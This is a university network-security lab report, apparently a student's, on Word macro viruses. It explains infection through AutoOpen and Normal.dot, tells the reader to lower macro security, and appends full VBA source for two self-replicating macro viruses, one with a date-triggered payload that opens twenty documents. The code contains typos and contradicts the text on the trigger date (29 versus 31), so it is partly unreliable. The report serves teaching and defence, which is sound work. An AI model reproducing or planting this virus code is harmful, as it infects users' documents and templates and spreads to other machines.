西安邮电大学 通信与信息工程学院 网络攻防实验报告 专业班级: 学生姓名: 学号(班内序号): 2014 年 5 月 28 日——————————————————————————装订线————————————————————————————————报告份数:实验宏病毒1.场景描述在虚拟机中演示word宏病毒的发生机制,以及如何清除病毒的一系列操作。
宏病毒样本:自我复制及感染病毒(copy.txt)类台湾一号病毒(No1.txt)备注:实验工具(D盘-->攻防工具包-->宏病毒:Copy.txt、TaiWanNo1.txt)2.实验目的(1)演示宏的编写(2)说明宏的原理及其安全漏洞和缺陷(3)理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识3.需求分析宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。
从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
因为Microsoft Word几乎已经成为目前全世界办公文档的事实工业标准,其影响是全球范围的。
Word文件的交换是目前办公室数据交流和传送的最通常的方式之一,而且该病毒能跨越多种平台,并且针对数据文档进行破坏,因此具有极大地危害性。
所以,必须要掌握如何预防和清除宏病毒,让损失减少。
4.技术分析Word的文件建立是通过模板来创建的,模板是为了形成最终文档而提供的特殊文档,模板可以包括以下几个元素:菜单、宏、格式(如备忘录等)。
模板是文本、图形和格式编排的蓝图,对于某一类型的所有文档来说,文本、图像和格式编排都是类似的。
Word提供了几种常见文档类型的模板,如备忘录、报告和商务信件。
您可以直接使用模板来创建新文档,或者加以修改,也可以创建自己的模板。
一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot)。
可以看出,模板在建立整个文档中所起的作用,作为基类,文档继承模板的属性,包括宏、菜单、格式等。
Word处理文档需要同时进行各种不同的动作,如打开文件、关闭文件、读取数据资料以及储存和打印等等。
每一种动作其实都对应着特定的宏命令,如存文件与FileSave相对应、改名存文件对应着FileSaveAS、打印则对应着Fil_ePrint等。
Word打开文件时,它首先要检查是否有AutoOpen宏存在,假如有这样的宏,Word就启动它,除非在此之前系统已经被“取消宏(Disable Auto Macros)”命令设置成宏无效。
当然,如果AutoClose宏存在,则系统在关闭一个文件时,会自动执行它。
通常,、AutoExec、AutoExit和AutoNew等),或者是一个以上的标准宏,如FileOpen、FileSaveAs等。
如果某个.doc文件感染了这类Word宏病毒,则当Word LX行这类自动宏时,实际上就是运行了病毒代码。
由自动宏和/或标准宏构成的宏病毒,其内部都具有把带病毒的宏移植(复制)到通用宏的代码段,也就是说宏病毒通过这种方式实现对其他文件的传染。
当Word系统退出时,它会自动地把所有通用宏(当然也包括传染进来的病毒宏)保存到模板文件中(即*.DOT 文件,通常为NORMAL.DOT),当Word系统再次启动时,它又会自动地把所有通用宏(包括病毒宏)从模板中装人。
如此这般,一旦Word系统遭受感染,则以后每当系统进行初始化时,系统都会随着NORMAL.DOT的装人而成为带毒的Word系统,继而在打开和创建任何文档时感染该文档。
一旦病毒宏侵入Word系统,它就会替代原有的正常宏,如FileOpen、FileSave、FileSaveAs和FilePrint等,并通过这些宏所关联的文件操作功能获取对文件交换的控制。
当某项功能被调用时,相应的病毒宏就会篡夺控制权,实施病毒所定义的非法操作,包括传染操作、表现操作以及破坏操作等。
宏病毒在感染一个文档时,首先要把文档转换成模板格式,然后把所有病毒宏(包括自动宏)复制到该文档中。
被转换成模板格式后的染毒文件无法转存为任何其他格式。
含有自动宏的宏病毒染毒文档,当被其他计算机的Word系统打开时,便会自动感染该计算机。
例如,如果病毒捕获并修改了FileOpen,那么,它将感染每一个被打开的Word文件。
宏病毒主要寄生于AutoOpen、AutoClose和AutoNew 3个宏中,其引导、传染、表现或破坏均通过宏指令来完成的。
宏指令是用宏语言WORDBASIC编写的,宏语言提供了许多系统级底层功能调用,因此,宏病毒利用宏语言实现其传染、表现或破坏的目的。
目前,几乎所有已知的宏病毒都沿用了相同的作用机理,即如果Word系统在读取一个染毒文件时遭受感染,则其后所有新创建的 DOC 文件都会被感染。
Word宏病毒几乎是唯一可跨越不同硬件平台而生存、传染和流行的一类病毒。
如果说宏病毒还有什么局限性的话,就是这些病毒必须依赖某个可受其感染的系统,如微软的Word或Excel,否则这些宏病毒便成了无水之鱼。
5.实验步骤及结果1).打开word2003,在->工具->宏->安全性中,将安全级别设置为低,在可靠发行商选项卡中,选信任任何所有安装的加载项和模板,选择信任visual basic项目的访问。
2).自我复制功能:(1).在宏编辑器的project->Microsoft Word对象->ThisDocument中(或快捷方式ALT+F11),输入源代码(copy.txt),保存。
(2).运行宏,弹出“中毒了”的文本格。
(3).新建文档,打开,关闭,也会显示“中毒了”。
(4).把中毒的文档里的宏全部删除,就能消除宏病毒了。
3).类台湾一号病毒(1).把日期设置为31号,,因为该病毒在特定时间才会发作。
(2).在宏编辑器的project->Microsoft Word对象->ThisDocument中(或快捷方式ALT+F11),输入源代码(taiwanNO1.txt),保存。
(3).观察病毒运行后的效果,当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是31日,,然后跳出一个对话框,要求用户进行一次心算游戏,如果用户计算正确,就会新建一个文档,跳出字幕如下:“何谓宏病毒,答案:我就是……,如何预防宏病毒,答案:不要看我……”。
如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序,关闭文档的时候也会进行同样地询问。
计算正确:计算错误:4).清除宏病毒:进入宏编辑器,清空ThisDocument中的源代码并保存,逐一关闭文档,便可清除宏病毒。
附:1.copy.txt源代码:Sub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOpitons.SaveNormaPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith hostIf .Lines(1, 1) <> "'Micro-Virus" Then.DeleteLine 1, .CountOflines.InsertLines 1, Ourcode.ReplaceLine2 , "SubDocument_Close()"If ThisDocument = nomaltemplate Then.replaceline 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "中毒了"End Sub2.台湾一号源代码:'moonlightDim nm(4)Sub Document_Open()'DisableInput 1Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet host = ActiveDocument.VBProject.VBComponents(1).CodeModule End IfWith hostIf .Lines(1, 1) <> "'moonlight" Then.DeleteLines 1, .CountOfLines.InsertLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 3, "Sub Document_Close()"If ThisDocument = NormalTemplate Then.ReplaceLine 3, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithCount = 0If Day(Now()) = 29 Thentry:On Error GoTo trytest = -1con = 1tog$ = ""i = 0While test = -1For i = 0 To 4nm(i) = Int(Rnd() * 10)con = con * nm(i)If i = 4 Thentog$ = tog$ + Str$(nm(4)) + "=?"GoTo begEnd Iftog$ = tog$ + Str$(nm(i)) + "*"Next ibeg:Beepans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus") If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) ThenDocuments.AddSelection.Paragraphs.Alignment = wdAlignParagraphCenterBeepWith Selection.Font.Name = "细明体".Size = 16.Bold = 1.Underline = 1End WithSelection.InsertAfter Text:="何谓宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案:"Selection.Font.Italic = 1Selection.InsertAfter Text:="我就是......"Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic = 0BeepSelection.InsertAfter Text:="如何预防宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案:"Selection.Font.Italic = 1Selection.InsertAfter Text:="不要看我......"GoTo outElseCount = Count + 1For j = 1 To 20BeepDocuments.AddNext jSelection.Paragraphs.Alignment = wdAlignParagraphCenterSelection.InsertAfter Text:="宏病毒"If Count = 2 Then GoTo outGoTo tryEnd IfWendEnd Ifout:End Sub指导教师评语:实 验 成 绩:指导(辅导)教师 :——————————————————————————装 订 线————————————————————————————————。